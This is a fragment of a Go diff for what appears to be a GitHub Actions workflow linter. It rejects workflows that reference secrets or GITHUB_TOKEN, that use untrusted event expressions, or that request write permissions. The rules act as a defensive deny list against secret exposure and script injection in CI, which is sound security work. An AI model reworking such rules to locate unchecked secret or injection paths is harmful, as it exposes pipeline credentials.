if strings.Contains(node.Value, "${{") && (secretContextPattern.MatchString(node.Value) || tokenSourcePattern.MatchString(node.Value)) { + detail := "secrets context is forbidden" + if tokenSourcePattern.MatchString(node.Value) { + detail = "github.token secret source is forbidden" + } + c.reject(RuleSecretContext, at("$", node), detail) + } + }) + walkMappings(root, func(mapping *yaml.Node) { + for _, entry := range mappingEntries(mapping) { + if strings.EqualFold(entry[0].Value, "GITHUB_TOKEN") { + c.reject(RuleSecretContext, at("$.env.GITHUB_TOKEN", entry[0]), "GITHUB_TOKEN secret source is forbidden") + } + } + }) +} + +func (c *checker) checkUntrustedExpressions(root *yaml.Node) { + walkScalars(root, func(node *yaml.Node) { + if expression := untrustedExpressionPattern.FindString(node.Value); expression != "" { + c.reject(RuleUntrustedExpression, at("$", node), fmt.Sprintf("untrusted github event expression %s is forbidden", expression)) + } + }) +} + +func (c *checker) checkPermissions(mapping *yaml.Node, path string, required bool) { + permissions, exists := mappingValue(mapping, "permissions") + if !exists { + if required { + c.reject(RuleWritePermission, at(path, mapping), "root permissions must be explicitly read-only") + } + return + } + if permissions.Kind == yaml.ScalarNode { + if permissions.Value != "read-all" { + c.reject(RuleWritePermission, at(path, permissions), fmt.Sprintf("permissions must be read-only, got %q", permissions.Value)) + } + return + } + if permissions.Kind != yaml.MappingNode { + c.reject(RuleWritePermission, at(path, permissions), "permissions must be read-all or a read-only mapping") + return + } + for _, entry := range mappingEntries(permissions) { + if entry[1].Kind != yaml.ScalarNode { + c.reject(RuleWritePermission, at(path+"."+entry[0].Value, entry[1]), "permission value must be a scalar read or none") + continue + } + value := strings.ToLower(strings.TrimSpace(entry[1].Value)) + if value != "read" && value != "none" { + c.reject(RuleWritePermission, at(path+"."+entry[0].Value, entry[1]), fmt.Sprintf("permission %s must be read or none, got %q", entry[0].Value, entry[1].Value)) + } + } +} + +func (c *checker) reject(rule Rule, location violationLocation, detail string) { + c.violations = append(c.violations, Violation{ + Rule: rule, Path: location.path, Line: location.node.Line, Column: location.node.Column, + Detail: detail, + }) +}